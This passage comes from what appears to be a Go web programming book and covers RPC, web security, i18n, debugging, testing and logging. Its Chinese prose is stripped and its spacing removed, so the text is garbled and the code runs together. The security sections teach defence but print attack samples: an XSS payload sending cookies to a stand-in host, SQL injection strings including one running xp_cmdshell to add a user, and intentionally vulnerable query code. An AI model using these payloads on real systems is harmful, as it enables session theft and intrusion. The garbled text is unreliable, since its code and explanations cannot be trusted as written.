funcdeleteuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaredeleteuser%s",uid)}

funcadduser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){//uid:=r.FormValue("uid")uid:=ps.ByName("uid")fmt.Fprintf(w,"youareadduser%s",uid)}

funcmain(){router:=httprouter.New()router.GET("/",Index)router.GET("/hello/:name",Hello)

router.GET("/user/:uid",getuser)router.POST("/adduser/:uid",adduser)router.DELETE("/deluser/:uid",deleteuser)router.PUT("/moduser/:uid",modifyuser)

log.Fatal(http.ListenAndServe(":8080",router))}

RESTmethodgithub.com/julienschmidt/httprouterREST

RESTWWWHTTPURIWebURIHTTPInternetRESTWebGoRESTmethodhandleREST

links

: WebSocket: RPC

8.4RPCSocketHTTPSocketHTTP""

RPC

RPCRemoteProcedureCallProtocolTCPUDPOSIRPCRPC

RPC

8.8RPC

RPC10

1.2.3.4.5.6.7.8.9.10.

GoRPC

GoRPCRPCHTTPJSONRPCGoRPCRPCRPCGoGo

GoRPC

()

error

RPC

func(t*T)MethodName(argTypeT1,replyType*T2)error

TT1T2 encoding/gob/

RPCGoRPCHTTPTCPHTTP net/http

HTTPRPC

http

packagemain

import("errors""fmt""net/http""net/rpc")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint

}

typeArithint

func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}

func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}

funcmain(){

arith:=new(Arith)rpc.Register(arith)rpc.HandleHTTP()

err:=http.ListenAndServe(":1234",nil)iferr!=nil{fmt.Println(err.Error())}}

ArithRPC rpc.HandleHTTPHTTPhttp

packagemain

import("fmt""log""net/rpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server")os.Exit(1)}serverAddress:=os.Args[1]

client,err:=rpc.DialHTTP("tcp",serverAddress+":1234")iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)

varquotQuotienterr=client.Call("Arith.Divide",args,&quot)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)

}

$./http_clocalhostArith:17*8=136Arith:17/8=2remainder1

struct client.CallCallGoRPC

TCPRPC

HTTPRPCTCPRPC

packagemain

import("errors""fmt""net""net/rpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

typeArithint

func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}

func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}

funcmain(){

arith:=new(Arith)rpc.Register(arith)

tcpAddr,err:=net.ResolveTCPAddr("tcp",":1234")checkError(err)

listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)

for{conn,err:=listener.Accept()iferr!=nil{continue}rpc.ServeConn(conn)}

}

funccheckError(errerror){iferr!=nil{fmt.Println("Fatalerror",err.Error())os.Exit(1)}}

httpTCPrpc

goroutinesocketgoroutineTCPRPC

packagemain

import("fmt""log""net/rpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server:port")os.Exit(1)}service:=os.Args[1]

client,err:=rpc.Dial("tcp",service)iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)

varquotQuotienterr=client.Call("Arith.Divide",args,&quot)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)

}

httpDialHTTPDial(tcp)

JSONRPC

JSONRPCJSONgobRPCGojson-rpc

packagemain

import("errors""fmt""net""net/rpc""net/rpc/jsonrpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

typeArithint

func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}

func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}

funcmain(){

arith:=new(Arith)rpc.Register(arith)

tcpAddr,err:=net.ResolveTCPAddr("tcp",":1234")checkError(err)

listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)

for{conn,err:=listener.Accept()

iferr!=nil{continue}jsonrpc.ServeConn(conn)}

}

funccheckError(errerror){iferr!=nil{fmt.Println("Fatalerror",err.Error())os.Exit(1)}}

json-rpcTCPHTTP

packagemain

import("fmt""log""net/rpc/jsonrpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server:port")log.Fatal(1)}service:=os.Args[1]

client,err:=jsonrpc.Dial("tcp",service)iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)

varquotQuotienterr=client.Call("Arith.Divide",args,&quot)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)

}

GoRPCHTTPTCPJSONRPCWebGoSOAPRPC

links

: REST:

8.5SocketsocketHTML5WebSocketpush

ajaxRESTAPIGonet

links

: RPC:

9WebWebWebCSDNWebGo

Web(XSS)SQL9.39.4

9.2

9.1CSRF

WebCSDN9.5

9.6

links

:: CSRF

9.1CSRF

CSRF

CSRFCross-siterequestforgery""oneclickattack/sessionridingCSRF/XSRF

CSRFQQ(URL)WebQQ

CSRFCSRFWeb

CSRF

CSRF

9.1CSRF

CSRF

1.ACookie2.AB

"CSRF"

tabtab

Cookie

CSRF

CSRFWebWeb

CSRF

/

CSRFCSRF

CSRF

1GET,POSTCookie2GET

RESTWebWebGETPOSTCookie

1GET

2POST

Go

mux.Get("/user/:uid",getuser)mux.Post("/user/:uid",modifyuser)

POSTGETGETCSRFPOST

GET

cookietokenCookie()CookieXSSXSSCAPTCHACAPTCHA

4.4”"

token

h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))io.WriteString(h,"ganraomaxxxxxxxxx")token:=fmt.Sprintf("%x",h.Sum(nil))

t,_:=template.ParseFiles("login.gtpl")t.Execute(w,token)

token

<inputtype="hidden"name="token"value="{{.}}">

token

r.ParseForm()token:=r.Form.Get("token")iftoken!=""{//token}else{//token}

POSTtoken211

CSRFWebWeb""""Web

links

::

9.2WebWeb

123

""""

GoGo rParseFormPOSTGET r.Form r.Header( r.Header.Get("Accept-Charset"))

"0"

strconvRequest r.FormAtoiParseBoolParseFloatParseInt

string TrimToLowerToTitle

regexpEmail

WebMap(CleanMap)

CleamMapMapCleanMap

<formaction="/whoami"method="POST"><selectname="name"><optionvalue="astaxie">astaxie</option><optionvalue="herry">herry</option><optionvalue="marry">marry</option></select><inputtype="submit"/></form>

POST name=attack

r.ParseForm()name:=r.Form.Get("name")CleanMap:=make(map[string]interface{},0)ifname=="astaxie"||name=="herry"||name=="marry"{CleanMap["name"]=name}

CleamMapname astaxieherrymarry`CleanMapCleanMap["name"]else

r.ParseForm()username:=r.Form.Get("username")CleanMap:=make(map[string]interface{},0)ifok,_:=regexp.MatchString("^[a-zA-Z0-9].$",username);ok{CleanMap["username"]=username}

WebCSRFXSSSQL

links

: CSRF: XSS

9.3XSSWeb"CrossSiteScripting,XSS"

XSS

XSS(Cross-SiteScripting)(CascadingStyleSheets,CSS)XSSXSS()XSSWebXSScookie

XSSXSSHtmlWeb->->Web->XSSURL

XSS

cookieFlashcrossdomainJavaiframeframeXMLHttpRequestFlashXSS

PVXSSDDoS

XSS

WebHTML">""<"/XSS

XSSXSSurl http://127.0.0.1/?name=astaxie

helloastaxie

http://127.0.0.1/?name=&#60;script&#62;alert(&#39;astaxie,xss&#39;)&#60;/script&#62;urlXSSCookiename=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;urlcookie www.xxx.comURLURLURLurlurlcookiecookieWebsleuth

XSS" XSS"

XSS

XSS

XSS

XSSGoHTML

text/templateHTMLEscapeStringJSEscapeString

HTTP

w.Header().Set("Content-Type","text/javascript")

htmljavascript

XSSWebXSS

links

:: SQL

9.4SQL

SQL

SQLSQLInjectionWeb

SQLSQL

SQL

WebSQLSQLSQLSQL

SQL

<formaction="/login"method="POST"><p>Username:<inputtype="text"name="username"/></p><p>Password:<inputtype="password"name="password"/></p><p><inputtype="submit"value="" /></p></form>

SQL

username:=r.Form.Get("username")password:=r.Form.Get("password")sql:="SELECT*FROMuserWHEREusername='"+username+"'ANDpassword='"+password+"'"

myuser'or'foo'='foo'--

SQL

SELECT*FROMuserWHEREusername='myuser'or'foo'='foo'--''ANDpassword='xxx'

SQL--

MSSQLSQLMSSQL

sql:="SELECT*FROMproductsWHEREnameLIKE'%"+prod+"%'"Db.Exec(sql)

a%'execmaster..xp_cmdshell'netusertesttestpass/ADD'--prodsql

sql:="SELECT*FROMproductsWHEREnameLIKE'%a%'execmaster..xp_cmdshell'netusertesttestpass/ADD'--%'"

MSSQLSQLsaMSSQLSERVER

SQL

SQLBBSDiscuzphpwindphpcmsSQL

hiddencookie

SQLSQL

1. WebSQL2. regexpstrconv3. '"\&*;Go text/template HTMLEscapeString

4. SQLSQL database/sqlPrepareQueryExec(querystring,args...interface{})

5. SQLSQLsqlmapSQLninja6. SQLSQLSQL

SQLWebWeb

links

: XSS

:

9.5-Linkedin,CSDN800

Web

(digest)""SHA-256SHA-1MD5

Go

//import"crypto/sha256"h:=sha256.New()io.WriteString(h,"Hismoneyistwicetainted:'taintyoursand'taintmine.")fmt.Printf("%x",h.Sum(nil))

//import"crypto/sha1"h:=sha1.New()io.WriteString(h,"Hismoneyistwicetainted:'taintyoursand'taintmine.")fmt.Printf("%x",h.Sum(nil))

//import"crypto/md5"h:=md5.New()io.WriteString(h,"" )fmt.Printf("%x",h.Sum(nil))

12

rainbowtable

rainbowtable

--

MD5MD5

"""salt"MD5MD5MD5

//import"crypto/md5"//abc123456h:=md5.New()io.WriteString(h,"" )

//pwmd5e10adc3949ba59abbe56e057f20f883epwmd5:=fmt.Sprintf("%x",h.Sum(nil))

//saltsalt1=@#$%salt2=^&*()salt1:="@#$%"salt2:="^&*()"

//salt1++salt2+MD5io.WriteString(h,salt1)io.WriteString(h,"abc")io.WriteString(h,salt2)io.WriteString(h,pwmd5)

last:=fmt.Sprintf("%x",h.Sum(nil))

salt

"" rainbowtable

rainbowtable

rainbowtable

scryptscryptFreeBSDColinPercivalTarsnap

Go http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt

dk:=scrypt.Key([]byte("somepassword"),[]byte(salt),16384,8,1,32)

1LastPass/2

links

: SQL: /

9.6 /

/

Gocrypto

crypto/aes:AES(AdvancedEncryptionStandard)Rijndaelcrypto/desDES(DataEncryptionStandard)AES

aes

packagemain

import("crypto/aes""crypto/cipher""fmt""os")

varcommonIV=[]byte{0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f}

funcmain(){//plaintext:=[]byte("MynameisAstaxie")//plaintextiflen(os.Args)>1{plaintext=[]byte(os.Args[1])}

//aeskey_text:="astaxie12798akljzmknm.ahkjkljl;k"iflen(os.Args)>2{key_text=os.Args[2]}

fmt.Println(len(key_text))

//aesc,err:=aes.NewCipher([]byte(key_text))iferr!=nil{fmt.Printf("Error:NewCipher(%dbytes)=%s",len(key_text)

,err)os.Exit(-1)}

//cfb:=cipher.NewCFBEncrypter(c,commonIV)ciphertext:=make([]byte,len(plaintext))cfb.XORKeyStream(ciphertext,plaintext)fmt.Printf("%s=>%x\n",plaintext,ciphertext)

//cfbdec:=cipher.NewCFBDecrypter(c,commonIV)plaintextCopy:=make([]byte,len(plaintext))cfbdec.XORKeyStream(plaintextCopy,ciphertext)fmt.Printf("%x=>%s\n",ciphertext,plaintextCopy)}

aes.NewCipher(key162432[]byteAES-128,AES-192AES-256)cipher.Block

typeBlockinterface{//BlockSizereturnsthecipher'sblocksize.BlockSize()int

//Encryptencryptsthefirstblockinsrcintodst.//Dstandsrcmaypointatthesamememory.Encrypt(dst,src[]byte)

//Decryptdecryptsthefirstblockinsrcintodst.//Dstandsrcmaypointatthesamememory.Decrypt(dst,src[]byte)}

/Go

Web/AES

links

::

9.7CSRFXSSSQLWebWeb/Gobase64aesdes

WebWebWeb

links

: /:

10Web

Internationalizationandlocalization,i18nL10N

Goi18ngo-i18nGoi18n

local

1locale

2locale

3locale

localelocalelocalei18n

links

::

10.1

Locale

Localelocale"en""zh""en_US""en_UK""zh_CN.gb2312"gb2312

GO"UTF-8"i18nlocalei18nlocale

LinuxSolarislocale-aBSDlocale /usr/share/locale

Locale

locale()localelocale

Locale

Locale www.asta.com() www.asta.cnlocale

URL

GomapSEO

locale

ifr.Host=="www.asta.com"{i18n.SetLocale("en")}elseifr.Host=="www.asta.cn"{i18n.SetLocale("zh-CN")}elseifr.Host=="www.asta.tw"{i18n.SetLocale("zh-TW")}

"en.asta.com""cn.asta.com"

prefix:=strings.Split(r.Host,".")

ifprefix[0]=="en"{i18n.SetLocale("en")}elseifprefix[0]=="cn"{i18n.SetLocale("zh-CN")}elseifprefix[0]=="tw"{i18n.SetLocale("zh-TW")}

LocaleWebLocaleurl

Locale

LocaleURL www.asta.com/hello?locale=zhwww.asta.com/zh/helloi18n.SetLocale(params["locale"])

LocaleRESTfullinklocaleurllink locale=params["locale"]

URLRESTful www.asta.com/en/books() www.asta.com/zh/books()URLSEOURLURLrouterlocale(RESTrouter)

mux.Get("/:locale/books",listbook)

URLLocale()IPWeb

Accept-Language

HTTP Accept-LanguageGo Accept-Languge

AL:=r.Header.Get("Accept-Language")ifAL=="en"{i18n.SetLocale("en")}elseifAL=="zh-CN"{i18n.SetLocale("zh-CN")}elseifAL=="zh-TW"{i18n.SetLocale("zh-TW")}

IP

IPIPIPGeoIPLiteCountryIPIP

profile

localeprofilelocalelocale

LocaleLocale

links

::

10.2LocaleLocaleLocaleGoJSON(en.jsonja-JP.json)

Webmapkey-valuemap

packagemain

import"fmt"

varlocalesmap[string]map[string]string

funcmain(){locales=make(map[string]map[string]string,2)en:=make(map[string]string,10)en["pea"]="pea"en["bean"]="bean"

locales["en"]=encn:=make(map[string]string,10)cn["pea"]=""cn["bean"]=""locales["ja-JP"]=cnlang:="ja-JP"fmt.Println(msg(lang,"pea"))fmt.Println(msg(lang,"bean"))}

funcmsg(locale,keystring)string{ifv,ok:=locales[locale];ok{ifv2,ok:=v[key];ok{returnv2}}return""}

localekeylang en

key-value"Iam30yearsold""30"30 fmt.Printf

en["howold"]="Iam%dyearsold"cn["howold"]="%d"

fmt.Printf(msg(lang,"howold"),30)

JSON json.Unmarshalmap

Locale 20131024231113JST WedOct2423:11:13CST2012

1.2.

$GOROOT/lib/timetimeinfo.ziplocalelocaletime.LoadLocation(namestring)locale Asia/ShanghaiAmerica/Chicago

time.NowTime():

en["time_zone"]="America/Chicago"cn["time_zone"]="Asia/Tokyo"

loc,_:=time.LoadLocation(msg(lang,"time_zone"))t:=time.Now()t=t.In(loc)fmt.Println(t.Format(time.RFC3339))

:

en["date_format"]="%Y-%m-%d%H:%M:%S"cn["date_format"]="%Y%m%d%H%M%S"

fmt.Println(date(msg(lang,"date_format"),t))

funcdate(fomatestring,ttime.Time)string{year,month,day=t.Date()hour,min,sec=t.Clock()//%Y%m%d%H%M%S//%Y 2012//%m 10//%d 24}

:

en["money"]="USD%d"cn["money"]="%d"

fmt.Println(date(msg(lang,"date_format"),100))

funcmoney_format(fomatestring,moneyint64)string{returnfmt.Sprintf(fomate,money)}

Localecssjslocale

views|--en//|--images//|--js//JS|--css//cssindex.tpl//login.tpl//|--ja-JP//|--images|--js|--cssindex.tpllogin.tpl

s1,_:=template.ParseFiles("views"+lang+"index.tpl")VV.Lang=langs1.Execute(os.Stdout,VV)

index.tpl

//js<scripttype="text/javascript"src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>//css<linkhref="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css"rel="stylesheet">//

<imgsrc="views/{{.VV.Lang}}/https://raw.githubusercontent.com/astaxie/build-web-application-with-golang/master/ja/images/btn.png">

langkey-valueLocaleLocalek fmtPrintfLocalelang

links

::

10.3Locale

Locale config/localesen.jsonja.json

#ja.json

{"ja":{"submit":"" ,"create":""}}

#en.json

{"en":{"submit":"Submit","create":"Create"}}

-- go-i18ngo-i18n config/localeslocale

Tr:=i18n.NewLocale()Tr.LoadPath("config/locales")

fmt.Println(Tr.Translate("submit"))//SubmitTr.SetLocale("ja")fmt.Println(Tr.Translate("submit"))//""

go-i18n

//go-i18n/locales

//zh.jsonen-jsonen-US.json

func(il*IL)loadDefaultTranslations(dirPathstring)error{dir,err:=os.Open(dirPath)iferr!=nil{returnerr}

deferdir.Close()

names,err:=dir.Readdirnames(-1)iferr!=nil{returnerr}

for_,name:=rangenames{fullPath:=path.Join(dirPath,name)

fi,err:=os.Stat(fullPath)iferr!=nil{returnerr}

iffi.IsDir(){iferr:=il.loadTranslations(fullPath);err!=nil{returnerr}}elseiflocale:=il.matchingLocaleFromFileName(name);locale!=""{file,err:=os.Open(fullPath)iferr!=nil{returnerr}deferfile.Close()

iferr:=il.loadTranslation(file,locale);err!=nil{returnerr}}}

returnnil}

//locale=zh

fmt.Println(Tr.Time(time.Now()))//200910820:37:58CST

fmt.Println(Tr.Time(time.Now(),"long"))//2009108

fmt.Println(Tr.Money(11.11))//:11.11

templatemapfunc

"Tr.Translate""Tr.Time""Tr.Money"Gomapfunc

1.

Tr.TranslatemapFunc

funcI18nT(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Translate(s)}

t.Funcs(template.FuncMap{"T":I18nT})

{{.V.Submit|T}}

1.

Tr.TimemapFunc

funcI18nTimeDate(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Time(s)}

t.Funcs(template.FuncMap{"TD":I18nTimeDate})

{{.V.Now|TD}}

1.

Tr.MoneymapFunc

funcI18nMoney(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)

}returnTr.Money(s)}

t.Funcs(template.FuncMap{"M":I18nMoney})

{{.V.Money|M}}

Webgo-i18nWebpipeline

links

::

10.4i18ngo-i18n https://github.com/astaxie/go-i18nWebGo

links

::

11""bugbug

Web11.1Go11.2GDB

11.3GoGo

GoWeb

links

::

11.1GoCC-1NULLAPI:0Goerrorerrornil

funcOpen(namestring)(file*File,errerror)

os.Open log.Fatal

f,err:=os.Open("filename.ext")iferr!=nil{log.Fatal(err)}

os.OpenAPIerrorerrorWeberror

Error

error

typeerrorinterface{Error()string}

error/builtin/errorerrorserrorString

//errorStringisatrivialimplementationoferror.typeerrorStringstruct{sstring}

func(e*errorString)Error()string{returne.s

}

errors.NewerrorStringerror

//Newreturnsanerrorthatformatsasthegiventext.funcNew(textstring)error{return&errorString{text}}

errors.New

funcSqrt(ffloat64)(float64,error){iff<0{return0,errors.New("math:squarerootofnegativenumber")}//implementation}

Sqrtnon-nilerrorniltruefmt.Println(fmterrorError)

f,err:=Sqrt(-1)iferr!=nil{fmt.Println(err)}

Error

errorinterfaceJson

typeSyntaxErrorstruct{msgstring//Offsetint64//

}

func(e*SyntaxError)Error()string{returne.msg}

OffsetError

iferr:=dec.Decode(&val);err!=nil{ifserr,ok:=err.(*json.SyntaxError);ok{line,col:=findLine(f,serr.Offset)returnfmt.Errorf("%s:%d:%d:%v",f.Name(),line,col,err)}returnerr}

error

funcDecode()*SyntaxError{//err!=niltrue

varerr*SyntaxError//if{err=&SyntaxError{}}returnerr//errnilerr!=niltrue

}

http://golang.org/doc/faq#nil_error

Errornet

packagenet

typeErrorinterface{errorTimeout()bool//Istheerroratimeout?Temporary()bool//Istheerrortemporary?}

errnet.Errorsleep1

ifnerr,ok:=err.(net.Error);ok&&nerr.Temporary(){time.Sleep(1e9)continue}iferr!=nil{log.Fatal(err)}

GoC

funcinit(){http.HandleFunc("/view",viewRecord)}

funcviewRecord(whttp.ResponseWriter,r*http.Request){c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{http.Error(w,err.Error(),500)return}iferr:=viewTemplate.Execute(w,record);err!=nil{http.Error(w,err.Error(),500)}}

http.Error500HnadleFunc(HTTP)

typeappHandlerfunc(http.ResponseWriter,*http.Request)error

func(fnappHandler)ServeHTTP(whttp.ResponseWriter,r*http.Request){iferr:=fn(w,r);err!=nil{http.Error(w,err.Error(),500)}}

funcinit(){http.Handle("/view",appHandler(viewRecord))}

/view

funcviewRecord(whttp.ResponseWriter,r*http.Request)error{c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{returnerr}returnviewTemplate.Execute(w,record)}

500

typeappErrorstruct{ErrorerrorMessagestringCodeint}

typeappHandlerfunc(http.ResponseWriter,*http.Request)*appError

func(fnappHandler)ServeHTTP(whttp.ResponseWriter,r*http.Request){ife:=fn(w,r);e!=nil{//eis*appError,notos.Error.c:=appengine.NewContext(r)c.Errorf("%v",e.Error)http.Error(w,e.Message,e.Code)}}

funcviewRecord(whttp.ResponseWriter,r*http.Request)*appError{c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{return&appError{err,"Recordnotfound",404}}iferr:=viewTemplate.Execute(w,record);err!=nil{return&appError{err,"Can'tdisplayrecord",500}}returnnil}

view

GoerrorWeb

links

:

: GDB

11.2GDBGoPHPPythonGoPrintlnPythonpdb/ipdbJavascriptGDBGDBGo

GDB

GDBFSF()UNIXGDB

1.2.3.4.

GoGDB7.1

Go

1. -ldflags"-s"debug2. -gcflags"-N-l"GoGDB

GDB

list

l10 list15101510

10time.Sleep(2*time.Second)11c<-i12}

13close(c)14}1516funcmain(){17msg:="Startingmain"18fmt.Println(msg)19bus:=make(chanint)

break

b b1010

deleted infobreakpoints

NumTypeDispEnbAddressWhat2breakpointkeepy0x0000000000400dc3inmain.mainat/home/xiemengjun/gdb.go:23breakpointalreadyhit1time

backtrace

bt

#0main.main()at/home/xiemengjun/gdb.go:23#10x000000000040d61einruntime.main()at/home/xiemengjun/go/src/pkg/runtime/proc.c:244#20x000000000040d6c1inschedunlock()at/home/xiemengjun/go/src/pkg/runtime/proc.c:267#30x0000000000000000in??()

info

info

infolocals

infobreakpoints

infogoroutines

goroutine*

*1runningruntime.gosched*2syscallruntime.entersyscall3waitingruntime.gosched4runnableruntime.gosched

print

p$len()$cap()stringslicesmaps

whatis

whatismsg

type=structstring

next

n n

coutinue

c

setvariable

setvariable<var>=<value>

GDBGo

packagemain

import("fmt""time")

funccounting(cchan<-int){fori:=0;i<10;i++{time.Sleep(2*time.Second)c<-i}close(c)}

funcmain(){msg:="Startingmain"fmt.Println(msg)bus:=make(chanint)msg="startingagofunc"gocounting(bus)forcount:=rangebus{fmt.Println("count:",count)}}

gdbfile:

gobuild-gcflags"-N-l"gdbfile.go

gdb

gdbgdbfile

run

(gdb)runStartingprogram:/home/xiemengjun/gdbfileStartingmaincount:0count:1count:2count:3count:4count:5count:6count:7count:8count:9[LWP2771exited][Inferior1(process2771)exitednormally]

(gdb)b23Breakpoint1at0x400d8d:file/home/xiemengjun/gdbfile.go,line23.(gdb)runStartingprogram:/home/xiemengjun/gdbfileStartingmain[NewLWP3284][SwitchingtoLWP3284]

Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)

b2323 run list5

(gdb)list18fmt.Println(msg)19bus:=make(chanint)20msg="startingagofunc"21gocounting(bus)22forcount:=rangebus{23fmt.Println("count:",count)24}

25}

GDB

(gdb)infolocalscount=0bus=0xf840001a50(gdb)pcount$1=0(gdb)pbus$2=(chanint)0xf840001a50(gdb)whatisbustype=chanint

(gdb)cContinuing.count:0[NewLWP3303][SwitchingtoLWP3303]

Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)(gdb)cContinuing.count:1[SwitchingtoLWP3302]

Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)

cfor

(gdb)infolocalscount=2

bus=0xf840001a50(gdb)setvariablecount=9(gdb)infolocalscount=9bus=0xf840001a50(gdb)cContinuing.count:9[SwitchingtoLWP3302]

Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)

gorutinegoroutine

(gdb)infogoroutines*1runningruntime.gosched*2syscallruntime.entersyscall3waitingruntime.gosched4runnableruntime.gosched(gdb)goroutine1bt#00x000000000040e33binruntime.gosched()at/home/xiemengjun/go/src/pkg/runtime/proc.c:927#10x0000000000403091inruntime.chanrecv(c=void,ep=void,selected=void,received=void)at/home/xiemengjun/go/src/pkg/runtime/chan.c:327#20x000000000040316finruntime.chanrecv2(t=void,c=void)at/home/xiemengjun/go/src/pkg/runtime/chan.c:420#30x0000000000400d6finmain.main()at/home/xiemengjun/gdbfile.go:22#40x000000000040d0c7inruntime.main()at/home/xiemengjun/go/src/pkg/runtime/proc.c:244#50x000000000040d16ainschedunlock()at/home/xiemengjun/go/src/pkg/runtime/proc.c:267#60x0000000000000000in??()

goroutinesgoroutine

GDBGo runprintinfosetvariablecontinuelistbreakGoGDBGDB

links

:: Go

11.3GoGo

Go testinggotest testing

gotest gotest

2gotest.gogotest_test.go

1. gotest.go::

packagegotest

import("errors")

funcDivision(a,bfloat64)(float64,error){ifb==0{return0,errors.New("0" )}

returna/b,nil}

2. gotest_test.go::

_test.go gotest

testingimportTest

TestXxx() testing.T

: funcTestXxx(t*testing.T)Xxx[a-z] Testintdiv

testing.TErrorErrorfFailNowFatalFatalIf Log

packagegotest

import(

"testing"

)

funcTest_Division_1(t*testing.T){

ifi,e:=Division(6,2);i!=3||e!=nil{//tryaunittestonfunctiont.Error("" )//}else{t.Log("" )//}

}

funcTest_Division_2(t*testing.T){

t.Error("" )

}

gotest

---FAIL:Test_Division_2(0.00seconds)

gotest_test.go:16:

FAILexitstatus1FAILgotest0.013s2test gotest-v

===RUNTest_Division_1---PASS:Test_Division_1(0.00seconds)

gotest_test.go:11:1

===RUNTest_Division_2---FAIL:Test_Division_2(0.00seconds)

gotest_test.go:16:

FAILexitstatus1FAILgotest0.012s1 2Test_Division_22

funcTest_Division_2(t*testing.T){

if_,e:=Division(6,0);e==nil{//tryaunittestonfunctiont.Error("Divisiondidnotworkasexpected.")//

}else{

t.Log("onetestpassed.",e)//}

}gotest-v

===RUNTest_Division_1---PASS:Test_Division_1(0.00seconds)

gotest_test.go:11:1

===RUNTest_Division_2---PASS:Test_Division_2(0.00seconds)

gotest_test.go:20:onetestpassed.0

PASSokgotest0.013s

XXX

funcBenchmarkXXX(b*testing.B){...}

gotest -test.bench: -test.bench="test_name_regex"gotest-test.bench=".*"

testing.B.N

_test.go

webbench_test.go

packagegotest

import("testing")

funcBenchmark_Division(b*testing.B){fori:=0;i<b.N;i++{//useb.NforloopingDivision(4,5)}}

funcBenchmark_TimeConsumingFunction(b*testing.B){b.StopTimer()//

//,,,//

b.StartTimer()//fori:=0;i<b.N;i++{Division(4,5)}}

gotest-filewebbench_test.go-test.bench=".*"

PASSBenchmark_Division5000000007.76ns/opBenchmark_TimeConsumingFunction5000000007.80ns/opokgotest9.364s

TestXXX Benchmark_Division5000000007.76Benchmark_TimeConsumingFunctin5000000007.801

testing gotestgotest

links

: GDB:

11.43GoGDBGDBGo testing gotestWeb()

links

: Go:

1210%90%10%10%

GoGoCdaemon

links

::

12.1WebGologfmtpanicGoJavaC++log4jlog4cpp

https://github.com/cihub/seelog

seelog

seelogGo

XML

logrotateSMTP

seelogwiki

seelog

goget-ugithub.com/cihub/seelog

packagemain

importlog"github.com/cihub/seelog"

funcmain(){deferlog.Flush()log.Info("HellofromSeelog!")}

Hellofromseelogseelog

seelog

seelog

packagelogs

import("errors""fmt"seelog"github.com/cihub/seelog""io"

)

varLoggerseelog.LoggerInterface

